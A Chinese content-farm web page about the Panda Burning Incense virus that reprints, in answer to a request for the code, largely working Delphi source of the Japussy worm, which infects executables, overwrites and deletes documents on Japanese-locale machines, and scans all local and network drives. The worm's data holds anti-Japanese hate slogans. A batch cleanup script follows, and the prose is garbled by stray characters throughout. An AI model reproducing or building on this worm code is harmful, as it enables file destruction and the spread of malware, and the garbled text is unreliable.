趣虎号
  • 首页
  • 文章分类
    • 创业分享
    • 生活百态
  • 专题
  1. 首页 > 文章分类 > 生活百态

熊猫烧香源码(熊猫烧高香病毒运行过程)

作者:小编 • 更新时间:2023-09-23 09:58:01 •阅读

熊猫烧香病毒源代码用C语言写出来!谢谢了!

一个简单圆答有效的方法:

新建名Documents的文顷敬件夹,在C盘复制一个EXE文件放到Documents文件夹下,然后把新健文件夹覆盖到C:\Documents

and

Settings\All

Users目录下就可以了

正常模式下不行就到安全模式里去。

我就这样解橘乎慧决的。

熊猫烧香是用什么编程语言写的

熊猫烧香的开发工具为Delphi

核心源码片段:

program Japussy;

uses

Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

const

HeaderSize= 82432;//病毒体的大掘兆小

IconOffset=$12EB8;//PE文件主图标的偏移量

......其实是嫌散橡什么代码写的不重要,需要了芹旁解基本原理。

问一下下:熊猫烧香是用什么语言编写的

是用delphi的没错,其实严格说起来熊猫不能算是原没野告作,他是模仿病毒japussy编写的,也是用delphi,两个病毒相似度超过枯明80%。不会,网上的源代脊塌码不完整,除非你能找到完整的代码。

谁有熊猫烧香的源代码,给我发一份

program Japussy;

uses

Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

const

HeaderSize= 82432;//病毒体的大小

IconOffset=$12EB8;//PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量

{

HeaderSize= 38912;//Upx压缩过病丛培毒体的大小

IconOffset=$92BC;//Upx压缩过PE文件主图标的偏移量

//Upx 1.24W用法: upx-9--8086 Japussy.exe

}

IconSize=$2E8;//PE文件主图标的大小--744字节

IconTail= IconOffset+ IconSize;//PE文件主图标的尾部

ID=$44444444;//感染标记

//垃圾码,以备写入

Catchword=''''''''''''''''If a race need to be killed out, it must be Yamato.''''''''''''''''+

''''''''''''''''If a country need to be destroyed, it must be Japan!''''''''''''''''+

''''''''''''''''*** W32.Japussy.Worm.A***'''''''''''''''';

{$R*.RES}

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;

stdcall; external''''''''''''''''Kernel32.dll''''''''''''郑郑肆'''';//函数声明

var

TmpFile: string;

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean= False;//日文操作系统标记

{判断是否为Win9x}

function IsWin9x: Boolean;

var

Ver: TOSVersionInfo;

熊猫烧香源码(熊猫烧高香病毒运行过程)(图1)

begin

Result:= False;

Ver.dwOSVersionInfoSize:= SizeOf(TOSVersionInfo);

if not GetVersionEx(Ver) then

Exit;

if(Ver.dwPlatformID= VER_PLATFORM_WIN32_WINDOWS) then//Win9x

Result:= True;

end;

{在流之间复制}

procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;

dStartPos: Integer; Count: Integer);

var

sCurPos, dCurPos: Integer;

begin

sCurPos:= Src.Position;

dCurPos:= Dst.Position;

Src.Seek(sStartPos, 0);

Dst.Seek(dStartPos, 0);

Dst.CopyFrom(Src, Count);

Src.Seek(sCurPos, 0);

Dst.Seek(dCurPos, 0);

end;

{将宿主文件从已感染的PE文件中分离出喊轿来,以备使用}

procedure ExtractFile(FileName: string);

var

sStream, dStream: TFileStream;

begin

try

sStream:= TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

dStream:= TFileStream.Create(FileName, fmCreate);

try

sStream.Seek(HeaderSize, 0);//跳过头部的病毒部分

dStream.CopyFrom(sStream, sStream.Size- HeaderSize);

finally

dStream.Free;

end;

finally

sStream.Free;

end;

except

end;

end;

{填充STARTUPINFO结构}

procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);

begin

Si.cb:= SizeOf(Si);

Si.lpReserved:= nil;

Si.lpDesktop:= nil;

Si.lpTitle:= nil;

Si.dwFlags:= STARTF_USESHOWWINDOW;

Si.wShowWindow:= State;

Si.cbReserved2:= 0;

Si.lpReserved2:= nil;

end;

{发带毒邮件}

procedure SendMail;

begin

//哪位仁兄愿意完成之?

end;

{感染PE文件}

procedure InfectOneFile(FileName: string);

var

HdrStream, SrcStream: TFileStream;

IcoStream, DstStream: TMemoryStream;

iID: LongInt;

aIcon: TIcon;

Infected, IsPE: Boolean;

i: Integer;

Buf: array[0..1] of Char;

begin

try//出错则文件正在被使用,退出

if CompareText(FileName,''''''''''''''''JAPUSSY.EXE'''''''''''''''')= 0 then//是自己则不感染

Exit;

Infected:= False;

IsPE:= False;

SrcStream:= TFileStream.Create(FileName, fmOpenRead);

try

for i:= 0 to$108 do//检查PE文件头

begin

SrcStream.Seek(i, soFromBeginning);

SrcStream.Read(Buf, 2);

if(Buf[0]=#80) and(Buf[1]=#69) then//PE标记

begin

IsPE:= True;//是PE文件

Break;

end;

end;

SrcStream.Seek(-4, soFromEnd);//检查感染标记

SrcStream.Read(iID, 4);

if(iID= ID) or(SrcStream.Size< 10240) then//太小的文件不感染

Infected:= True;

finally

SrcStream.Free;

end;

if Infected or(not IsPE) then//如果感染过了或不是PE文件则退出

Exit;

IcoStream:= TMemoryStream.Create;

DstStream:= TMemoryStream.Create;

try

aIcon:= TIcon.Create;

try

//得到被感染文件的主图标(744字节),存入流

aIcon.ReleaseHandle;

aIcon.Handle:= ExtractIcon(HInstance, PChar(FileName), 0);

aIcon.SaveToStream(IcoStream);

finally

aIcon.Free;

end;

SrcStream:= TFileStream.Create(FileName, fmOpenRead);

//头文件

HdrStream:= TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

//写入病毒体主图标之前的数据

CopyStream(HdrStream, 0, DstStream, 0, IconOffset);

//写入目前程序的主图标

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);

//写入病毒体主图标到病毒体尾部之间的数据

CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize- IconTail);

//写入宿主程序

CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);

//写入已感染的标记

DstStream.Seek(0, 2);

iID:=$44444444;

DstStream.Write(iID, 4);

finally

HdrStream.Free;

end;

finally

SrcStream.Free;

IcoStream.Free;

DstStream.SaveToFile(FileName);//替换宿主文件

DstStream.Free;

end;

except;

end;

end;

{将目标文件写入垃圾码后删除}

procedure *ashFile(FileName: string);

var

FileHandle: Integer;

i, Size, Mass, Max, Len: Integer;

begin

try

SetFileAttributes(PChar(FileName), 0);//去掉只读属性

FileHandle:= FileOpen(FileName, fmOpenWrite);//打开文件

try

Size:= GetFileSize(FileHandle, nil);//文件大小

i:= 0;

Randomize;

Max:= Random(15);//写入垃圾码的随机次数

if Max< 5 then

Max:= 5;

Mass:= Size div Max;//每个间隔块的大小

Len:= Length(Catchword);

while i< Max do

begin

FileSeek(FileHandle, i* Mass, 0);//定位

//写入垃圾码,将文件彻底破坏掉

FileWrite(FileHandle, Catchword, Len);

Inc(i);

end;

finally

FileClose(FileHandle);//关闭文件

end;

DeleteFile(PChar(FileName));//删除之

except

end;

end;

{获得可写的驱动器列表}

function GetDrives: string;

var

DiskType: Word;

D: Char;

Str: string;

i: Integer;

begin

for i:= 0 to 25 do//遍历26个字母

begin

D:= Chr(i+ 65);

Str:= D+'''''''''''''''':\'''''''''''''''';

DiskType:= GetDriveType(PChar(Str));

//得到本地磁盘和网络盘

if(DiskType= DRIVE_FIXED) or(DiskType= DRIVE_REMOTE) then

Result:= Result+ D;

end;

end;

{遍历目录,感染和摧毁文件}

procedure LoopFiles(Path, Mask: string);

var

i, Count: Integer;

Fn, Ext: string;

SubDir: TStrings;

SearchRec: TSearchRec;

Msg: TMsg;

function IsValidDir(SearchRec: TSearchRec): Integer;

begin

if(SearchRec.Attr<> 16) and(SearchRec.Name<>''''''''''''''''.'''''''''''''''') and

(SearchRec.Name<>''''''''''''''''..'''''''''''''''') then

Result:= 0//不是目录

else if(SearchRec.Attr= 16) and(SearchRec.Name<>''''''''''''''''.'''''''''''''''') and

(SearchRec.Name<>''''''''''''''''..'''''''''''''''') then

Result:= 1//不是根目录

else Result:= 2;//是根目录

end;

begin

if(FindFirst(Path+ Mask, faAnyFile, SearchRec)= 0) then

begin

repeat

PeekMessage(Msg, 0, 0, 0, PM_REMOVE);//调整消息队列,避免引起怀疑

if IsValidDir(SearchRec)= 0 then

begin

Fn:= Path+ SearchRec.Name;

Ext:= UpperCase(ExtractFileExt(Fn));

if(Ext=''''''''''''''''.EXE'''''''''''''''') or(Ext=''''''''''''''''.SCR'''''''''''''''') then

begin

InfectOneFile(Fn);//感染可执行文件

end

else if(Ext=''''''''''''''''.HTM'''''''''''''''') or(Ext=''''''''''''''''.HTML'''''''''''''''') or(Ext=''''''''''''''''.ASP'''''''''''''''') then

begin

//感染HTML和ASP文件,将Base64编码后的病毒写入

//感染浏览此网页的所有用户

//哪位大兄弟愿意完成之?

end

else if Ext=''''''''''''''''.WAB'''''''''''''''' then//Outlook地址簿文件

begin

//获取Outlook邮件地址

end

else if Ext=''''''''''''''''.ADC'''''''''''''''' then//Foxmail地址自动完成文件

begin

//获取Foxmail邮件地址

end

else if Ext=''''''''''''''''IND'''''''''''''''' then//Foxmail地址簿文件

begin

//获取Foxmail邮件地址

end

else

begin

if IsJap then//是倭文操作系统

begin

if(Ext=''''''''''''''''.DOC'''''''''''''''') or(Ext=''''''''''''''''.XLS'''''''''''''''') or(Ext=''''''''''''''''.MDB'''''''''''''''') or

(Ext=''''''''''''''''.MP3'''''''''''''''') or(Ext=''''''''''''''''.RM'''''''''''''''') or(Ext=''''''''''''''''.RA'''''''''''''''') or

(Ext=''''''''''''''''.WMA'''''''''''''''') or(Ext=''''''''''''''''.ZIP'''''''''''''''') or(Ext=''''''''''''''''.RAR'''''''''''''''') or

(Ext=''''''''''''''''.MPEG'''''''''''''''') or(Ext=''''''''''''''''.ASF'''''''''''''''') or(Ext=''''''''''''''''.JPG'''''''''''''''') or

(Ext=''''''''''''''''.JPEG'''''''''''''''') or(Ext=''''''''''''''''.GIF'''''''''''''''') or(Ext=''''''''''''''''.SWF'''''''''''''''') or

(Ext=''''''''''''''''.PDF'''''''''''''''') or(Ext=''''''''''''''''.CHM'''''''''''''''') or(Ext=''''''''''''''''.AVI'''''''''''''''') then

*ashFile(Fn);//摧毁文件

end;

end;

end;

//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑

Sleep(200);

until(FindNext(SearchRec)<> 0);

end;

FindClose(SearchRec);

SubDir:= TStringList.Create;

if(FindFirst(Path+''''''''''''''''*.*'''''''''''''''', faDirectory, SearchRec)= 0) then

begin

repeat

if IsValidDir(SearchRec)= 1 then

SubDir.Add(SearchRec.Name);

until(FindNext(SearchRec)<> 0);

end;

FindClose(SearchRec);

Count:= SubDir.Count- 1;

for i:= 0 to Count do

LoopFiles(Path+ SubDir.Strings+''''''''''''''''\'''''''''''''''', Mask);

FreeAndNil(SubDir);

end;

{遍历磁盘上所有的文件}

procedure InfectFiles;

var

DriverList: string;

i, Len: Integer;

begin

if GetACP= 932 then//日文操作系统

IsJap:= True;//去死吧!

DriverList:= GetDrives;//得到可写的磁盘列表

Len:= Length(DriverList);

while True do//死循环

begin

for i:= Len downto 1 do//遍历每个磁盘驱动器

LoopFiles(DriverList+'''''''''''''''':\'''''''''''''''',''''''''''''''''*.*'''''''''''''''');//感染之

SendMail;//发带毒邮件

Sleep(1000* 60* 5);//睡眠5分钟

end;

end;

{主程序开始}

begin

if IsWin9x then//是Win9x

RegisterServiceProcess(GetCurrentProcessID, 1)//注册为服务进程

else//WinNT

begin

//远程线程映射到Explorer进程

//哪位兄台愿意完成之?

end;

//如果是原始病毒体自己

if CompareText(ExtractFileName(ParamStr(0)),''''''''''''''''Japussy.exe'''''''''''''''')= 0 then

InfectFiles//感染和发邮件

else//已寄生于宿主程序上了,开始工作

begin

TmpFile:= ParamStr(0);//创建临时文件

Delete(TmpFile, Length(TmpFile)- 4, 4);

TmpFile:= TmpFile+#32+''''''''''''''''.exe'''''''''''''''';//真正的宿主文件,多一个空格

ExtractFile(TmpFile);//分离之

FillStartupInfo(Si, SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,

0, nil,''''''''''''''''.'''''''''''''''', Si, Pi);//创建新进程运行之

InfectFiles;//感染和发邮件

end;

end.

请转帖的朋友标明出处 www.honkercn.net

以下为清除威金、熊猫烧香病毒的批处理

@echo off

title清除威金(logo_1,熊猫烧香)病毒最新变种工具

@echo清除VIKING病毒最新变种工具

pause

if exist%windir%\rundl132.exe echo---报告老大,发现有威金病毒埋伏!让我来干掉它-----

if exist%windir%\logo_1.exe echo---报告老大,发现有威金病毒埋伏!让我来干掉它-----

//杀viking进程

tskill logo_1

tskill rundl132

tskill zt

tskill wow

tskill logo1_

tskill Ravmon

tskill Eghost

tskill Mailmon

tskill KAVPFW

tskill IPARMOR

tskill Ravmond

taskkill/f/im 0sy.exe

taskkill/f/im 1sy.exe

taskkill/f/im 2sy.exe

taskkill/f/im 3sy.exe

taskkill/f/im 4sy.exe

taskkill/f/im 5sy.exe

taskkill/f/im 6sy.exe

taskkill/f/im 7sy.exe

taskkill/f/im 8sy.exe

taskkill/f/im 9sy.exe

//删除木马

del d:\_desktop.ini/f/s/q/a

del c:\Program Files\_desktop.ini

del%Windir%\MickNew\MickNew.dll

del%Windir%\MH_FILE\MH_DLL.dll

del%Windir%\_desktop.ini

del%Windir%\TODAYZTKING\TODAYZTKING.DLL

attrib-h-r-s c:\go.exe

del c:\go.exe

del c:\setup.exe

attrib-h-s-r c:\autorun.inf

del c:\autorun.inf

attrib-h-r-s d:\go.exe

del d:\go.exe

del d:\setup.exe

attrib-h-s-r d:\autorun.inf

del d:\autorun.inf

del e:\setup.exe

attrib-h-r-s e:\go.exe

del e:\go.exe

attrib-h-s-r e:\autorun.inf

del e:\autorun.inf

attrib-h-r-s f:\go.exe

del f:\go.exe

del f:\setup.exe

attrib-h-s-r f:\autorun.inf

del f:\autorun.inf

attrib-h-r-s g:\go.exe

del g:\go.exe

del g:\setup.exe

attrib-h-s-r g:\autorun.inf

del g:\autorun.inf

del h:\go.exe

del h:\setup.exe

attrib-h-s-r g:\autorun.inf

del h:\autorun.inf

del i:\go.exe

attrib-h-s-r g:\autorun.inf

del i:\autorun.inf

del i:\setup.exe

del j:\go.exe

attrib-h-s-r g:\autorun.inf

del j:\autorun.inf

del j:\setup.exe

del%windir%\system\Logo1_.exedel%windir%\system\Logo_1.exe

del%windir%\rundl132.exe

del%windir%\vDll.dll

del%windir%\Dll.dll

del%windir%\0Sy.exe

del%windir%\1Sy.exe

del%windir%\2Sy.exe

del%windir%\3Sy.exe

del%windir%\5Sy.exe

del%windir%\1.com

@echo ^_^报告老大,VIKING已经全都被处死

@echo真累哈,再给你的系统免疫下,不需要的话请直接退出

pause

//免疫系统

echo>%windir%\Logo1_.exe

echo>%windir%\rundl132.exe

echo>%windir%\0Sy.exe

echo>%windir%\vDll.dll

echo>%windir%\1Sy.exe

echo>%windir%\2Sy.exe

echo>%windir%\rundll32.exe

echo>%windir%\3Sy.exe

echo>%windir%\5Sy.exe

echo>%windir%\1.com

echo>%windir%\exerouter.exe

echo>%windir%\EXP10RER.com

echo>%windir%\finders.com

echo>%windir%\Shell.sys

echo>%windir%\kill.exe

echo>%windir%\sws.dll

echo>%windir%\sws32.dll

echo>%windir%\uninstall\rundl132.exe

echo>%windir%\SVCHOST.exe

echo>%windir%\WINLOGON.exe

echo>%windir%\RUNDLL32.EXE

echo> C:\"Program Files"\svchost.exe

echo> C:\"Program Files"\"Internet Explorer"\svchost.exe

echo>%windir%\Download\svchost.exe

echo>%windir%\system32\wldll.dll

attrib%windir%\Logo1_.exe+s+r+h

attrib%windir%\rundl132.exe+s+r+h

attrib%windir%\0Sy.exe+s+r+h

attrib%windir%\vDll.dll+s+r+h

attrib%windir%\1Sy.exe+s+r+h

attrib%windir%\2Sy.exe+s+r+h

attrib%windir%\rundll32.exe+s+r+h

attrib%windir%\3Sy.exe+s+r+h

attrib%windir%\5Sy.exe+s+r+h

attrib%windir%\1.com+s+r+h

attrib%windir%\exerouter.exe+s+r+h

attrib%windir%\EXP10RER.com+s+r+h

attrib%windir%\finders.com+s+r+h

attrib%windir%\Shell.sys+s+r+h

attrib%windir%\kill.exe+s+r+h

attrib%windir%\sws.dll+s+r+h

attrib%windir%\sws32.dll+s+r+h

attrib%windir%\uninstall\rundl132.exe+s+r+h

attrib%windir%\SVCHOST.exe+s+r+h

attrib%windir%\WINLOGON.exe+s+r+h

attrib%windir%\RUNDLL32.EXE+s+r+h

attrib C:\"Program Files"\svchost.exe+s+r+h

attrib C:\"Program Files"\"Internet Explorer"\svchost.exe+s+r+h

attrib%windir%\Download\svchost.exe+s+r+h

attrib%windir%\system32\wldll.dll+s+r+h

net share c$/del

net share d$/del

net share e$/del

net share f$/del

net share admin$/del

net share ipc$/del

cls

@echo-------------------------------------

@echo viking已经全部被我杀完拉,哈,厉害吧

@echo系统已经成功免疫!

@echo谢谢你的使用,请重启您的电脑!

@echo-------------------------------------

pause

好了,文章到这里就结束啦,如果本次分享的熊猫烧香源码和熊猫烧高香病毒运行过程问题对您有所帮助,还望关注下本站哦!

本文来源于互联网,不代表趣虎号立场,转载联系作者并注明出处:https://quhuhao.com/wzfl/69124.html

打赏 微信扫一扫 微信扫一扫
田震 执着 歌词(歌曲《执着》)
« 上一篇
炎魔的珠宝(魔兽世界好看的战袍)
下一篇 »

相关推荐

  • 青少年普法手机登录(青少年普法手机登录入口)
  • 凶猛的年兽是什么生肖(凶猛的年兽是什么生肖动物)
  • 大秦帝国5部观看顺序(大秦帝国5部观看顺序百度网盘)
  • 哎的拼音和组词(哎的拼音和组词语)
  • 蜻的拼音和组词(蜻的拼音和组词语)
  • 早晨出现朝霞是要下雨吗(早晨下雨当日晴晚上下雨到天明什么意思)
  • 189是移动还是联通(手机号网上选号)
  • 钟晓芹最后和谁在一起(钟晓芹最后和谁在一起了结局)
  • 地球公转速度为每秒(地球公转速度为每秒多少公里)
  • 联想笔记本硬件检测(联想笔记本硬件检测方法)

搜索干货

热门文章

  • 肉莲法器实物图(莲花含金刚杵图片)

    肉莲法器实物图(莲花含金刚杵图片)

    2024年01月05日

  • 济南718(济南银座718事件死了多少人

    济南718(济南银座718事件死了多少人

    2023年09月07日

  • 消失的夫妻知乎完整笔录(付刚笔录原文)

    消失的夫妻知乎完整笔录(付刚笔录原文)

    2023年08月22日

推荐文章

  • 用WhatsApp网页版打造娱乐休闲交流

    用WhatsApp网页版打造娱乐休闲交流

    2026年07月10日

  • 网页版-操作教程-为什么使用网页版

    网页版-操作教程-为什么使用网页版

    2026年06月27日

  • WhatsApp网页版:开启更便捷的在线

    WhatsApp网页版:开启更便捷的在线

    2026年06月24日

经典文章

  • 肉莲法器实物图(莲花含金刚杵图片)

    肉莲法器实物图(莲花含金刚杵图片)

    2024年01月05日

  • 济南718(济南银座718事件死了多少人

    济南718(济南银座718事件死了多少人

    2023年09月07日

  • 消失的夫妻知乎完整笔录(付刚笔录原文)

    消失的夫妻知乎完整笔录(付刚笔录原文)

    2023年08月22日

  • 云南电视台主持人杨珊(云南高严杨珊图片)

    云南电视台主持人杨珊(云南高严杨珊图片)

    2024年02月24日

  • 警察肩章级别(一二三四级警长对照表)

    警察肩章级别(一二三四级警长对照表)

    2023年08月22日

  • 华为员工级别1到22级对应工资(华为员工

    华为员工级别1到22级对应工资(华为员工

    2023年07月25日

  • 带老婆去找其他男人正常吗(成功开导老婆接

    带老婆去找其他男人正常吗(成功开导老婆接

    2023年08月14日

  • kyy网络词是什么意思(ky 网络用语)

    kyy网络词是什么意思(ky 网络用语)

    2023年08月22日

  • 消失的夫妻笔录(费县515付刚详细笔录)

    消失的夫妻笔录(费县515付刚详细笔录)

    2023年08月12日

  • 《暂坐》中性描写(名著中性描写原文摘录)

    《暂坐》中性描写(名著中性描写原文摘录)

    2023年08月15日

热门标签

创业项目 创业分享 创业项目加盟 为什么灯珠会亮 生活百态 农村创业 WhatsApp网页版
  • 首页
  • 文章分类
  • 专题

Copyright © 2012-2022 趣虎号 灵幻网络科技  网站备案号:皖ICP备2023009267号-2

联系我们

在线咨询:点击这里给我发消息

微信号:

工作日:9:30-18:30,节假日休息

友情链接: WhatsApp网页版 WhatsApp網頁版 WhatsApp Web WhatsApp网页版 WhatsApp網頁版 WhatsApp Web WhatsApp Web WhatsApp网页版 WhatsApp网页版 WhatsApp網頁版 WhatsApp Web WhatsApp Web WhatsApp Web WhatsApp网页版 WhatsApp網頁版 WhatsApp Web WhatsApp網頁版 WhatsApp网页版 WhatsApp網頁版 WhatsApp网页版 WhatsApp网页版 WhatsApp網頁版 WhatsApp Web WhatsApp网页版 WhatsApp網頁版 WhatsApp Web WhatsApp Web WhatsApp网页版 WhatsApp網頁版 WhatsApp网页版 WhatsApp网页版 WhatsApp網頁版 WhatsApp网页版 WhatsApp網頁版 WhatsApp網頁版 WhatsApp Web